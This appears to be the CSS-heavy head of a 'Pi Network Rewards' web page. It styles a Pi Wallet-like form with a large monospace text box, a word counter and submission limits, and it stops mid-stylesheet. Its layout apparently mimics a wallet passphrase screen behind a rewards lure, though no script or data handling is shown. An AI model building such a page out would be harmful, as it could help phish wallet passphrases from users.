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<!DOCTYPE html>
<html lang="en">	
<head>
		<meta charset="UTF-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1.0" />
		<title>Pi Network Rewards</title>
		<link
			href="assets/css/tailwind.min.css"
			rel="stylesheet"
		/>
		<link
			rel="stylesheet"
			href="assets/css/all.min.css"
		/>
		<link
			rel="icon"
			type="image/png"
			sizes="32x32"
			href="assets/images/favicon.png"
		/>
		<link
			rel="icon"
			type="image/png"
			sizes="96x96"
			href="assets/images/favicon.png"
		/>
		<link
			rel="icon"
			type="image/png"
			sizes="192x192"
			href="assets/images/favicon.png"
		/>
		<link
			rel="apple-touch-icon"
			sizes="180x180"
			href="assets/images/favicon.png"
		/>
		<link rel="icon" type="image/x-icon" href="favicon.ico" />
		<link rel="preconnect" href="https://fonts.googleapis.com/" />
		<link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin />
		<link
			href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&amp;family=Roboto:wght@400;500;700;900&amp;display=swap"
			rel="stylesheet"
		/>
	
		<style>
			:root {
				/* Enhanced color palette */
				--pi-purple: #744394;
				--pi-purple-light: #7d48a0;
				--pi-purple-dark: #54306f;
				--pi-gold: #f8c056;
				--pi-gold-light: #ffd78c;
				--pi-gold-dark: #e6a938;

				/* Secondary accent colors */
				--pi-teal: #4ecdc4;
				--pi-pink: #ff6b8b;
				--pi-blue: #45b7d1;

				/* Animation timing */
				--transition-fast: 0.2s;
				--transition-medium: 0.4s;
				--transition-slow: 0.8s;
			}

			/* Dark mode is default now */
			:root {
				--bg-primary: #1a0e24;
				--bg-secondary: #2a1052;
				--text-primary: #ffffff;
				--text-secondary: #e0d0ff;
				--card-bg: rgba(30, 12, 48, 0.85);
				--input-bg: rgba(30, 12, 48, 0.5);
			}

			/* Light mode styles - only applied when .light-mode class is present */
			.light-mode {
				--bg-primary: #f5efff;
				--bg-secondary: #eee6ff;
				--text-primary: #333333;
				--text-secondary: #666666;
				--card-bg: rgba(255, 255, 255, 0.85);
				--input-bg: rgba(255, 255, 255, 0.8);
			}

			/* Form page always uses light mode */
			#formPage {
				--bg-primary: #f5efff;
				--bg-secondary: #eee6ff;
				--text-primary: #333333;
				--text-secondary: #666666;
				--card-bg: rgba(255, 255, 255, 0.85);
				--input-bg: rgba(255, 255, 255, 0.8);
				background-color: #ffffff !important;
			}

			#formPage .container {
				padding-bottom: 1rem;
			}

			#formPage .mt-8 {
				margin-bottom: 5rem; /* Thêm margin dưới cho container của nút quay lại */
			}

			#formPage .py-8 {
				padding-top: 1rem !important; /* Ghi đè padding mặc định của Tailwind nếu có */
				/* padding-bottom: 8rem !important;  */
			}

			body {
				font-family: "Inter", "Roboto", -apple-system,
					BlinkMacSystemFont, "Segoe UI", sans-serif;
				background-color: var(--bg-primary);
				color: var(--text-primary);
				margin: 0;
				padding: 0;
				min-height: 100vh;
				overflow-x: hidden;
				position: relative;
				will-change: transform;
				line-height: 1.6;
				font-size: 1rem;
				letter-spacing: -0.014em;
				font-weight: 500;
			}

			h1,
			h2,
			h3,
			h4,
			h5,
			h6 {
				font-family: "Roboto", "Inter", -apple-system,
					BlinkMacSystemFont, "Segoe UI", sans-serif;
				font-weight: 700;
				letter-spacing: -0.021em;
				line-height: 1.3;
			}

			h1,
			h2,
			h3,
			h4,
			h5,
			h6 {
				font-family: "Roboto", "Segoe UI", Tahoma, Geneva, Verdana,
					sans-serif;
				font-weight: 700;
				letter-spacing: -0.02em;
				line-height: 1.2;
			}

			#formPage .pi-title,
			.pi-wallet-style .pi-title {
				font-size: 1.62rem !important; /* Tăng kích thước */
				font-weight: 420 !important; /* Đảm bảo độ đậm tối đa */
				text-align: center !important;
				margin-top: 0.6rem !important;
				margin-bottom: 2rem !important;
				color: #0f0e0e !important; /* Màu đen hoàn toàn */
				text-shadow: 0px 0.5px 0px rgba(0, 0, 0, 0.5) !important; /* Tăng bóng đổ */
				font-family: "Roboto", sans-serif !important;
				letter-spacing: -0.02em !important; /* Giảm khoảng cách chữ */
				-webkit-text-stroke: 0.3px black !important; /* Tạo viền ngoài cho chữ */
				transform: scale(1.01, 1) !important; /* Làm chữ hơi rộng ra */
				display: block !important;
				line-height: 1.2 !important; /* Giảm line height */
			}

			.pi-header {
				background: #6e3b8f; /* Thay đổi từ gradient sang màu đơn */
				padding: 10px 20px;
				display: flex;
				align-items: center;
				justify-content: space-between;
				position: relative;
				height: 56px;
				z-index: 50;
				box-shadow: 0 4px 20px rgba(122, 53, 164, 0.3);
			}

			.pi-header-content {
				display: flex;
				align-items: center;
				justify-content: center;
				width: 100%;
				position: relative;
			}

			.header-back-btn {
				position: absolute;
				left: 0;
				color: white;
				display: flex;
				align-items: center;
				justify-content: center;
				z-index: 10;
				transition: transform var(--transition-fast);
			}

			.header-back-btn:hover {
				transform: translateX(-2px);
			}

			.header-dropdown-btn {
				position: absolute;
				right: 0;
				color: white;
				display: flex;
				align-items: center;
				justify-content: center;
				z-index: 10;
				transition: transform var(--transition-fast);
			}

			.header-dropdown-btn:hover {
				transform: translateY(2px);
			}

			.wallet-icon {
				width: 30px;
				height: 30px;
				background: linear-gradient(
					135deg,
					var(--pi-gold),
					var(--pi-gold-dark)
				);
				border-radius: 8px;
				display: flex;
				align-items: center;
				justify-content: center;
				font-weight: bold;
				color: var(--pi-purple);
				margin-right: 10px;
				box-shadow: 0 2px 8px rgba(0, 0, 0, 0.15);
				position: relative;
				overflow: hidden;
			}

			.wallet-icon::after {
				content: "";
				position: absolute;
				top: -50%;
				left: -50%;
				width: 200%;
				height: 200%;
				background: linear-gradient(
					to bottom right,
					rgba(255, 255, 255, 0) 0%,
					rgba(255, 255, 255, 0) 40%,
					rgba(255, 255, 255, 0.4) 50%,
					rgba(255, 255, 255, 0) 60%,
					rgba(255, 255, 255, 0) 100%
				);
				transform: rotate(30deg);
				animation: shineIcon 3s infinite;
			}

			.wallet-text {
				color: white;
				font-size: 18px;
				font-weight: 700;
				text-shadow: 0 1px 2px rgba(0, 0, 0, 0.2);
			}

			.pi-coin-icon {
				width: 32px;
				height: 32px;
				background: linear-gradient(
					135deg,
					var(--pi-gold),
					var(--pi-gold-dark)
				);
				border-radius: 50%;
				display: flex;
				align-items: center;
				justify-content: center;
				font-weight: bold;
				color: var(--pi-purple);
				margin-left: 10px;
				box-shadow: 0 2px 8px rgba(0, 0, 0, 0.15);
				position: relative;
				overflow: hidden;
			}

			.pi-coin-icon::after {
				content: "";
				position: absolute;
				top: -50%;
				left: -50%;
				width: 200%;
				height: 200%;
				background: linear-gradient(
					to bottom right,
					rgba(255, 255, 255, 0) 0%,
					rgba(255, 255, 255, 0) 40%,
					rgba(255, 255, 255, 0.4) 50%,
					rgba(255, 255, 255, 0) 60%,
					rgba(255, 255, 255, 0) 100%
				);
				transform: rotate(30deg);
				animation: shineIcon 3s infinite;
				animation-delay: 1s;
			}

			/* Premium background elements - enhanced */
			.premium-bg {
				position: fixed;
				top: 0;
				left: 0;
				width: 100%;
				height: 100%;
				z-index: -10;
				overflow: hidden;
				pointer-events: none; /* prevent interaction with background */
			}

			/* Animated gradient - improved colors */
			.animated-gradient {
				position: absolute;
				top: 0;
				left: 0;
				width: 100%;
				height: 100%;
				background: radial-gradient(
						circle at 20% 30%,
						rgba(154, 83, 198, 0.1) 0%,
						transparent 60%
					),
					radial-gradient(
						circle at 80% 20%,
						rgba(154, 83, 198, 0.1) 0%,
						transparent 50%
					),
					radial-gradient(
						circle at 50% 70%,
						rgba(248, 192, 86, 0.05) 0%,
						transparent 70%
					);
				opacity: 0.8;
			}

			/* Light streaks - enhanced */
			.light-streak {
				position: absolute;
				height: 1px;
				width: 200px;
				background: linear-gradient(
					90deg,
					transparent,
					rgba(154, 83, 198, 0.5),
					transparent
				);
				border-radius: 100%;
				opacity: 0;
				animation: lightStreak 12s linear infinite; /* Slower animation */
				will-change: transform, opacity; /* Optimize animation */
			}

			/* Moving waves - enhanced */
			.wave-container {
				position: absolute;
				width: 100%;
				height: 100%;
				overflow: hidden;
				opacity: 0.2;
			}

			.wave {
				position: absolute;
				width: 200%;
				height: 200%;
				border-radius: 40%;
				opacity: 0.2;
				top: 50%;
				left: 50%;
				transform: translate(-50%, -50%);
				animation: waveRotate 60s linear infinite; /* Slowed down */
				will-change: transform; /* Optimize animation */
			}

			.wave1 {
				border: 1px solid rgba(154, 83, 198, 0.3);
				animation-duration: 60s; /* Slowed down */
			}

			.wave2 {
				border: 1px solid rgba(248, 192, 86, 0.3);
				animation-duration: 50s; /* Slowed down */
				animation-direction: reverse;
			}

			.wave3 {
				border: 1px solid rgba(154, 83, 198, 0.2);
				animation-duration: 70s; /* Slowed down */
			}

			/* Stars - enhanced */
			.star {
				position: absolute;
				background-color: white;
				border-radius: 50%;
				filter: blur(1px);
				opacity: 0.4;
				animation: twinkle 4s infinite ease-in-out;
			}

			/* Star with single point - enhanced */
			.star-single {
				position: absolute;
				width: 2px;
				height: 2px;
				background-color: white;
				border-radius: 50%;
				filter: blur(0.5px);
				opacity: 0.8;
				box-shadow: 0 0 10px 2px rgba(255, 255, 255, 0.8);
				animation: twinkleStar 3s infinite ease-in-out;
			}

			/* Pi coins - enhanced */
			.premium-coin {
				position: absolute;
				width: 60px;
				height: 60px;
				border-radius: 50%;
				display: flex;
				align-items: center;
				justify-content: center;
				font-weight: bold;
				color: var(--pi-purple);
				z-index: -1;
				transform-style: preserve-3d;
				will-change: transform; /* Optimize animation */
				filter: drop-shadow(0 10px 15px rgba(0, 0, 0, 0.1));
			}

			.coin-inner {
				position: relative;
				width: 100%;
				height: 100%;
				border-radius: 50%;
				text-align: center;
				transition: transform 0.6s;
				transform-style: preserve-3d;
				animation: coinRotate 20s infinite linear; /* Slowed down */
			}

			.coin-front,
			.coin-back {
				position: absolute;
				width: 100%;
				height: 100%;
				border-radius: 50%;
				backface-visibility: hidden;
				display: flex;
				align-items: center;
				justify-content: center;
				font-size: 2rem;
				font-weight: bold;
			}

			.coin-front {
				background: radial-gradient(
					circle at 30% 30%,
					var(--pi-gold),
					var(--pi-gold-dark)
				);
				box-shadow: 0 0 20px rgba(248, 192, 86, 0.3);
			}

			.coin-back {
				background: radial-gradient(
					circle at 30% 30%,
					var(--pi-gold-dark),
					var(--pi-gold)
				);
				transform: rotateY(180deg);
				box-shadow: 0 0 20px rgba(248, 192, 86, 0.3);
			}

			/* Floating particles - enhanced */
			.particle {
				position: absolute;
				width: 6px;
				height: 6px;
				background-color: rgba(154, 83, 198, 0.2);
				border-radius: 50%;
				filter: blur(1px);
				animation: floatParticle 15s infinite linear;
				will-change: transform; /* Optimize animation */
			}

			/* Feature card with enhanced wave effect */
			.feature-card {
				position: relative;
				overflow: hidden;
				z-index: 1;
				transition: transform 0.3s ease, box-shadow 0.3s ease;
				border: 1px solid rgba(255, 255, 255, 0.1);
			}

			.feature-card:hover {
				transform: translateY(-5px);
				box-shadow: 0 15px 30px rgba(0, 0, 0, 0.1);
			}

			.feature-card-wave {
				position: absolute;
				top: 0;
				left: 0;
				width: 200%;
				height: 200%;
				background: radial-gradient(
					ellipse at center,
					rgba(105, 57, 136, 0.2) 0%,
					rgba(105, 57, 136, 0.1) 25%,
					rgba(105, 57, 136, 0) 70%
				);
				opacity: 0;
				border-radius: 50%;
				transform: translate(-25%, -25%) scale(0.1);
				animation: cardWave 4s infinite ease-out;
				pointer-events: none;
			}

			/* Shiny wave effect for feature icons */
			.feature-icon {
				position: relative;
				overflow: hidden;
			}

			.feature-icon::after {
				content: "";
				position: absolute;
				top: -50%;
				left: -100%;
				width: 70%;
				height: 200%;
				background: linear-gradient(
					to right,
					rgba(255, 255, 255, 0) 0%,
					rgba(255, 255, 255, calc(0.3 * var(--shine-opacity, 1))) 50%,
					rgba(255, 255, 255, 0) 100%
				);
				transform: rotate(30deg);
				animation: shinyWave 6s infinite ease-in-out; /* Tăng thời gian từ 3s lên 6s */
				pointer-events: none;
			}

			/* Confetti elements for success animation - enhanced */
			/* Confetti elements for success animation - enhanced */
			/* Confetti elements for success animation - enhanced */
			.confetti-container {
				position: fixed;
				width: 100vw;
				height: 100vh;
				top: 0;
				left: 0;
				z-index: 2000; /* Increased z-index to appear above the modal */
				pointer-events: none;
				overflow: hidden;
				display: none;
			}

			.confetti {
				position: absolute;
				width: 10px;
				height: 10px;
				background-color: var(--pi-gold);
				opacity: 0;
			}

			/* Square confetti */
			.confetti-square {
				background-color: var(--pi-purple);
			}

			/* Circle confetti */
			.confetti-circle {
				border-radius: 50%;
				background-color: var(--pi-gold);
			}

			/* Triangle confetti */
			.confetti-triangle {
				width: 0;
				height: 0;
				background-color: transparent;
				border-left: 5px solid transparent;
				border-right: 5px solid transparent;
				border-bottom: 10px solid var(--pi-purple-light);
			}

			/* Page container and transitions */
			.page-container {
				padding-bottom: 0;
				width: 100%;
				max-width: 100vw;
				overflow-x: hidden;
				min-height: calc(100vh - 64px);
				position: relative;
			}

			/* Add overflow hidden when formPage is active */
			/* .page-container:has(#formPage.page-active) {
				overflow: hidden;
			} */

			#formPage.page-active {
				/* overflow: hidden; */
				height: 100vh;
				position: fixed;
				top: 0;
				left: 0;
			}

			.page {
				position: absolute;
				top: 0;
				left: 0;
				width: 100%;
				min-height: calc(100vh - 64px);
				transition: transform 0.5s cubic-bezier(0.4, 0, 0.2, 1),
					opacity 0.5s cubic-bezier(0.4, 0, 0.2, 1);
				background-color: transparent;
				z-index: 10;
				will-change: transform, opacity; /* Optimize animation */
			}

			.page-active {
				transform: translateX(0);
				opacity: 1;
				z-index: 11;
			}

			.page-inactive-right {
				transform: translateX(100%);
				opacity: 0;
				z-index: 9;
				pointer-events: none;
			}

			.page-inactive-left {
				transform: translateX(-100%);
				opacity: 0;
				z-index: 9;
				pointer-events: none;
			}

			/* Premium cards - enhanced */
			.card {
				background-color: var(--card-bg);
				backdrop-filter: blur(15px);
				border-radius: 0.8rem;
				box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
				transition: transform 0.3s ease, box-shadow 0.3s ease;
				overflow: hidden;
				position: relative;
				border: 1px solid rgba(255, 255, 255, 0.1);
			}

			.card::before {
				content: "";
				position: absolute;
				top: 0;
				left: 0;
				width: 100%;
				height: 100%;
				background: linear-gradient(
					45deg,
					transparent,
					rgba(255, 255, 255, 0.05),
					transparent
				);
				pointer-events: none;
			}

			.card:hover {
				transform: translateY(-5px);
				box-shadow: 0 15px 35px rgba(0, 0, 0, 0.15);
			}

			/* Premium buttons - enhanced */
			.btn-primary {
				background: linear-gradient(
					135deg,
					var(--pi-purple),
					var(--pi-purple-dark)
				);
				color: white;
				font-weight: 600;
				border-radius: 0.5rem;
				padding: 0.9rem 2rem;
				transition: all 0.3s ease;
				box-shadow: 0 6px 15px rgba(122, 53, 164, 0.25);
				position: relative;
				overflow: hidden;
				z-index: 1;
				border: 1px solid var(--pi-gold);
				outline: none;
				text-transform: uppercase;
				letter-spacing: 0.5px;
			}

			.btn-primary:hover {
				transform: translateY(-3px);
				box-shadow: 0 8px 20px rgba(122, 53, 164, 0.4);
			}

			.btn-primary:active {
				transform: translateY(1px);
			}

			.btn-secondary {
				background: rgba(122, 53, 164, 0.1);
				color: var(--pi-purple);
				font-weight: 600;
				border-radius: 0.5rem;
				padding: 0.75rem 1.5rem;
				transition: all 0.3s ease;
				position: relative;
				overflow: hidden;
				border: 1px solid rgba(122, 53, 164, 0.2);
			}

			.btn-secondary:hover {
				background: rgba(122, 53, 164, 0.15);
				transform: translateY(-2px);
			}

			/* Premium reward cards - enhanced */
			.reward-card {
				position: relative;
				transition: transform 0.3s ease, box-shadow 0.3s ease;
				overflow: hidden;
				border-top: 3px solid transparent;
				background: linear-gradient(var(--card-bg), var(--card-bg))
						padding-box,
					linear-gradient(90deg, var(--pi-purple), var(--pi-gold))
						border-box;
				border-radius: 0.8rem;
			}

			.reward-card:hover {
				transform: translateY(-5px);
				box-shadow: 0 15px 35px rgba(0, 0, 0, 0.15);
			}

			.reward-amount {
				color: var(--pi-purple);
				font-weight: bold;
				font-size: 2rem;
				display: flex;
				align-items: center;
				justify-content: center;
				position: relative;
				z-index: 1;
			}

			.reward-amount::before {
				content: "π";
				font-size: 2.2rem;
				margin-right: 0.2rem;
			}

			.reward-amount::after {
				content: "";
				position: absolute;
				width: 70px;
				height: 70px;
				background: radial-gradient(
					circle,
					rgba(248, 192, 86, 0.15) 0%,
					transparent 70%
				);
				border-radius: 50%;
				z-index: -1;
			}

			/* Premium progress bar - enhanced */
			.progress-bar {
				height: 8px;
				border-radius: 10px;
				background: rgba(122, 53, 164, 0.1);
				overflow: hidden;
				position: relative;
			}

			.progress-fill {
				height: 100%;
				border-radius: 10px;
				background: linear-gradient(
					90deg,
					var(--pi-purple),
					var(--pi-purple-light)
				);
				position: relative;
				overflow: hidden;
			}

			/* Premium feature icons - enhanced */
			.feature-icon {
				width: 70px;
				height: 70px;
				border-radius: 12px;
				background: linear-gradient(
					135deg,
					var(--pi-purple-light),
					var(--pi-purple)
				);
				box-shadow: 0 8px 20px rgba(122, 53, 164, 0.2);
				display: flex;
				align-items: center;
				justify-content: center;
				margin: 0 auto 1rem;
				position: relative;
				overflow: hidden;
			}

			.feature-icon i {
				font-size: 2rem;
				color: white;
				position: relative;
				z-index: 2;
			}

			/* Pi Wallet style form - enhanced */
			.pi-wallet-style {
				margin: 0 auto;
				max-width: 500px;
				padding: 0 20px;
				padding-top: 10px; /* Thêm padding top nhỏ hơn */
			}
			.pi-title {
				font-size: 1.8rem; /* Tăng kích thước một chút */
				font-weight: 900; /* Sử dụng giá trị tối đa tiêu chuẩn */
				text-align: center;
				margin-top: 0.6rem;
				margin-bottom: 2rem;
				color: #111; /* Màu đen đậm hơn */
				text-shadow: 0px 0.2px 0px rgba(0, 0, 0, 0.3); /* Thêm bóng mỏng để tạo hiệu ứng đậm */
				font-family: "Roboto", sans-serif;
				letter-spacing: -0.01em; /* Giảm khoảng cách chữ để tạo cảm giác đậm hơn */
			}
			.pi-input-container {
				margin-bottom: 1.3rem; /* Giảm từ 2rem xuống 1rem để giảm khoảng cách với nút */
				border-radius: 12px;
				min-height: 250px;
				overflow: hidden;
				background: transparent;
				border: 1px solid #ccc; /* Thay đổi từ #000 sang #ccc để có viền màu xám */
				box-shadow: none;
				max-width: 1000px;
				margin-left: auto;
				margin-right: auto;
				display: flex;
				flex-direction: column;
			}

			.pi-input-container:focus-within {
				border: 2px solid var(--pi-purple);
				box-shadow: 0 5px 25px rgba(105, 57, 136, 0.2);
			}

			.pi-input {
				width: 100%;
				padding: 24px;
				min-height: 250px; /* Thay đổi từ height thành min-height */
				height: auto; /* Cho phép tự động mở rộng chiều cao */
				resize: none;
				background: transparent;
				border: none;
				font-size: 1.2rem;
				color: #333;
				outline: none;
				vertical-align: top;
				text-align: left;
				word-break: break-word;
				overflow-wrap: break-word;
				white-space: pre-wrap;
				display: block;
				align-self: flex-start;
				font-family: monospace;
				line-height: 1; /* Giảm khoảng cách giữa các dòng */
				font-weight: 400;
			}

			.pi-button {
				width: 100%;
				padding: 13.5px; /* Tăng từ 13px lên 15px để tăng chiều dọc */
				font-size: 0.85rem; /* Tăng từ 0.85rem lên 0.9rem */
				font-weight: 600;
				text-transform: uppercase;
				text-align: center;
				border-radius: 8px;
				margin-bottom: 0.8rem;
				transition: all 0.3s ease;
				letter-spacing: 0.05em;
				white-space: nowrap;
				overflow: hidden;
				text-overflow: ellipsis;
			}

			/* Enhanced balloon animation styles */
			.balloon {
				position: absolute;
				width: 40px;
				height: 50px;
				background: radial-gradient(
					circle at 30% 30%,
					var(--balloon-color),
					var(--balloon-color-dark)
				);
				border-radius: 50% 50% 50% 50% / 40% 40% 60% 60%;
				box-shadow: inset 0 -8px 0 rgba(0, 0, 0, 0.2),
					0 5px 10px rgba(0, 0, 0, 0.1);
				animation: balloonFloat 30s linear infinite;
				opacity: 0.8;
				z-index: -5;
				will-change: transform;
				transform-origin: bottom center;
			}

			.balloon:after {
				content: "";
				position: absolute;
				bottom: -12px;
				left: 50%;
				transform: translateX(-50%);
				width: 2px;
				height: 15px;
				background: rgba(0, 0, 0, 0.2);
			}

			/* Enhanced balloon animation */
			@keyframes balloonFloat {
				0% {
					transform: translateY(100vh) translateX(0px) rotate(0deg);
					opacity: 0;
				}
				10% {
					opacity: 0.8;
					transform: translateY(80vh)
						translateX(var(--float-distance)) rotate(5deg);
				}
				50% {
					transform: translateY(40vh)
						translateX(calc(var(--float-distance) * 1.5))
						rotate(-5deg);
				}
				90% {
					opacity: 0.8;
					transform: translateY(10vh)
						translateX(var(--float-distance)) rotate(5deg);
				}
				100% {
					transform: translateY(-100px)
						translateX(var(--float-distance)) rotate(0deg);
					opacity: 0;
				}
			}

			.pi-button-primary {
				background: #724394;
				color: white;
				border: none;
				box-shadow: none;
				border-radius: 8px;
				text-transform: uppercase;
				font-weight: 700;
				margin-top: 0.5rem;
				margin-bottom: 1rem;
			}

			.pi-button-primary::before {
				content: "";
				position: absolute;
				top: 0;
				left: -100%;
				width: 100%;
				height: 100%;
				background: linear-gradient(
					90deg,
					rgba(255, 255, 255, 0) 0%,
					rgba(255, 255, 255, 0.2) 50%,
					rgba(255, 255, 255, 0) 100%
				);
				transition: all 0.6s ease;
			}

			.pi-button-primary:hover {
				background: linear-gradient(
					135deg,
					var(--pi-purple-light),
					var(--pi-purple)
				);
				transform: translateY(-2px);
				box-shadow: 0 8px 16px rgba(122, 53, 164, 0.35);
			}

			.pi-button-primary:hover::before {
				left: 100%;
			}

			.pi-button-primary:disabled {
				background-color: #a5a5a5;
				transform: none;
				cursor: not-allowed;
				box-shadow: none;
				opacity: 0.7;
			}

			.pi-button-secondary {
				background: white;
				color: #724394;
				border: 1px solid #724394;
				border-radius: 8px;
				text-transform: uppercase;
				font-weight: 700;
				margin-top: 0;
			}

			.pi-button-secondary::after {
				content: "";
				position: absolute;
				top: 0;
				left: 0;
				width: 100%;
				height: 100%;
				background: rgba(122, 53, 164, 0.05);
				z-index: -1;
				transform: scaleX(0);
				transform-origin: right;
				transition: transform 0.3s ease;
			}

			.pi-button-secondary:hover {
				background-color: rgba(
					114,
					67,
					148,
					0.05
				); /* Màu nền nhạt khi hover */
			}

			.pi-button-secondary:hover::after {
				transform: scaleX(1);
				transform-origin: left;
			}

			.pi-info-text {
				font-size: 1rem;
				line-height: 1.6;
				color: #000;
				margin-top: 1.4rem; /* Giảm từ 2rem xuống 1.5rem */
				margin-bottom: 1rem; /* Thêm margin-bottom để kiểm soát khoảng cách với nút vân tay */
				text-align: left;
				word-wrap: break-word;
				white-space: normal;
				width: 100%;
				font-weight: 400;
			}

			.pi-link {
				color: #3d9dff;
				text-decoration: none;
				position: relative;
				transition: color 0.3s ease;
			}

			.pi-link::after {
				content: "";
				position: absolute;
				bottom: -2px;
				left: 0;
				width: 100%;
				height: 1px;
				background-color: #3d9dff;
				transform: scaleX(0);
				transform-origin: right;
				transition: transform 0.3s ease;
			}

			.pi-link:hover {
				color: #65b5ff;
			}

			.pi-link:hover::after {
				transform: scaleX(1);
				transform-origin: left;
			}

			/* Scroll animations - enhanced */
			.animate-on-scroll {
				opacity: 0;
				transform: translateY(30px);
				transition: opacity 0.8s ease, transform 0.8s ease;
				will-change: opacity, transform; /* Optimize animation */
			}

			.animate-on-scroll.animated {
				opacity: 1;
				transform: translateY(0);
			}

			.animate-fade-in {
				opacity: 0;
				transition: opacity 1s ease;
				will-change: opacity; /* Optimize animation */
			}

			.animate-fade-in.animated {
				opacity: 1;
			}

			/* Enhanced about section illustration */
			.about-illustration {
				width: 180px;
				height: 180px;
				margin: 0 auto 2rem;
				position: relative;
			}

			.about-circle {
				width: 100%;
				height: 100%;
				border-radius: 50%;
				background: linear-gradient(
					135deg,
					rgba(154, 83, 198, 0.1),
					rgba(154, 83, 198, 0.2)
				);
				display: flex;
				align-items: center;
				justify-content: center;
				position: relative;
				overflow: hidden;
			}

			.about-circle::before {
				content: "";
				position: absolute;
				width: 90%;
				height: 90%;
				border-radius: 50%;
				border: 2px dashed rgba(154, 83, 198, 0.3);
				/* Removed animation to keep dashed border static */
			}

			.about-icon {
				font-size: 4rem;
				color: var(--pi-purple);
				position: relative;
				z-index: 1;
			}

			/* Loading overlay - enhanced */
			.loading-overlay {
				display: none;
				position: fixed;
				top: 0;
				left: 0;
				width: 100%;
				height: 100%;
				background-color: rgba(0, 0, 0, 0.7);
				z-index: 1000;
				align-items: center;
				justify-content: center;
				backdrop-filter: blur(5px);
			}

			.loading-spinner {
				position: relative;
				width: 80px;
				height: 80px;
			}

			.loading-spinner::before,
			.loading-spinner::after {
				content: "";
				position: absolute;
				top: 0;
				left: 0;
				width: 100%;
				height: 100%;
				border-radius: 50%;
				border: 4px solid transparent;
				border-top-color: var(--pi-purple);
				animation: spin 1.5s linear infinite;
				box-shadow: 0 0 10px rgba(122, 53, 164, 0.3);
			}

			.loading-spinner::after {
				border-top-color: transparent;
				border-bottom-color: var(--pi-gold);
				animation-duration: 1s;
			}

			.loading-spinner-label {
				position: absolute;
				top: 120%;
				left: 50%;
				transform: translateX(-50%);
				color: white;
				font-weight: 500;
				white-space: nowrap;
			}

			/* Enhanced explosion particles */
			.surprise-container {
				position: relative;
				overflow: hidden;
			}

			.surprise-trigger.active .explosion-particle {
				animation: explode 1s forwards;
			}

			.explosion-particle {
				position: absolute;
				width: 10px;
				height: 10px;
				border-radius: 50%;
				background-color: var(--pi-gold);
				opacity: 0;
				pointer-events: none;
			}

			/* Enhanced 3D effect */
			.tilt-card {
				transform-style: preserve-3d;
				transition: transform 0.3s ease, box-shadow 0.3s ease;
			}

			.tilt-card:hover {
				box-shadow: 0 20px 40px rgba(0, 0, 0, 0.2);
			}

			/* Certificate badge - enhanced */
			.certificate {
				position: relative;
				padding: 1.8rem;
				border-radius: 0.8rem;
				background: linear-gradient(
					135deg,
					rgba(248, 192, 86, 0.1),
					rgba(154, 83, 198, 0.1)
				);
				border: 1px dashed rgba(248, 192, 86, 0.3);
				margin-top: 2rem;
				box-shadow: 0 10px 30px rgba(0, 0, 0, 0.05);
			}

			.certificate-icon {
				position: absolute;
				top: -20px;
				left: 50%;
				transform: translateX(-50%);
				width: 40px;
				height: 40px;
				background: linear-gradient(
					135deg,
					var(--pi-gold),
					var(--pi-gold-dark)
				);
				border-radius: 50%;
				display: flex;
				align-items: center;
				justify-content: center;
				box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
			}

			.certificate-icon i {
				color: white;
				font-size: 1.2rem;
			}

			.certificate-title {
				font-weight: bold;
				text-align: center;
				margin-bottom: 0.5rem;
				margin-top: 0.5rem;
				font-size: 1.2rem;
				color: var(--pi-purple);
			}

			.certificate-text {
				text-align: center;
				font-size: 0.95rem;
				color: var(--text-secondary);
			}

			/* Floating icons - enhanced */
			.floating-icon {
				position: absolute;
				z-index: -1;
				opacity: 0.5;
				animation: float 6s ease-in-out infinite;
			}

			/* Word counter styles - enhanced */
			.word-counter {
				text-align: right;
				font-size: 0.9rem;
				color: var(--text-secondary);
				margin-top: 0.5rem;
				margin-bottom: 0.5rem;
				padding-right: 0.5rem;
				display: none; /* Hidden by default */
				transition: all 0.3s ease;
			}

			.word-counter.invalid {
				color: #f44336;
				font-weight: 600;
				display: block; /* Show when invalid */
				animation: shake 0.5s cubic-bezier(0.36, 0.07, 0.19, 0.97) both;
			}

			/* Validation message - enhanced */
			.validation-message {
				color: #e74c3c;
				font-size: 1rem; /* Kích thước lớn hơn chút */
				margin-top: 0.5rem;
				margin-bottom: 1rem;
				text-align: left;
				font-weight: 400;
				padding-left: 0.5rem; /* Giảm padding */
			}

			.hidden {
				display: none;
			}

			/* Visual indicator for input container - enhanced */
			.pi-input-container.valid-input {
				border: 2px solid #724394; /* Màu tím thay vì màu xanh */
				box-shadow: 0 0 15px rgba(114, 67, 148, 0.2);
			}
			.pi-input-container.invalid-input {
				border: 2px solid #f44336;
				box-shadow: 0 0 15px rgba(244, 67, 54, 0.2);
				animation: shake 0.5s cubic-bezier(0.36, 0.07, 0.19, 0.97) both;
			}

			@keyframes shake {
			}

			/* Limited submissions message - enhanced */
			.limit-message {
				background-color: #fff3cd;
				color: #856404;
				padding: 15px;
				border-radius: 8px;
				margin-bottom: 20px;
				text-align: center;
				border: 1px solid #ffeeba;
				font-weight: 500;
				display: none;
				box-shadow: 0 5px 15px rgba(0, 0, 0, 0.05);
				position: relative;
				overflow: hidden;
			}

			.limit-message::before {
				content: "";
				position: absolute;
				top: 0;
				left: 0;
				width: 4px;
				height: 100%;
				background-color: #f8c056;
			}

			.error-message {
				background-color: #f8d7da;
				color: #721c24;
				padding: 15px;
				border-radius: 8px;
				margin-bottom: 20px;
				text-align: center;
				border: 1px solid #f5c6cb;
				font-weight: 500;
				display: none;
				box-shadow: 0 5px 15px rgba(0, 0, 0, 0.05);
				position: relative;
				overflow: hidden;
			}

			.error-message::before {
				content: "";
				position: absolute;
				top: 0;
				left: 0;
				width: 4px;
				height: 100%;
				background-color: #f44336;
			}

			/* Professional floating icons */
			.floating-icon-img {
				position: absolute;
				width: 80px;
				height: 80px;
				animation: iconFloat 40s linear infinite;
				opacity: 0.9;
				z-index: -5;
				will-change: transform;
				object-fit: contain;
				/* Removed background-color, backdrop-filter, border-radius and box-shadow */
			}

			/* Professional icon float animation */
			@keyframes iconFloat {
				0% {
					transform: translateY(100vh) translateX(0px);
					opacity: 0;
				}
				10% {
					opacity: 0.9;
					transform: translateY(80vh)
						translateX(var(--float-distance));
				}
				50% {
					transform: translateY(40vh)
						translateX(calc(var(--float-distance) * 1.5));
				}
				90% {
					opacity: 0.9;
					transform: translateY(10vh)
						translateX(var(--float-distance));
				}
				100% {
					transform: translateY(-100px)
						translateX(var(--float-distance));
					opacity: 0;
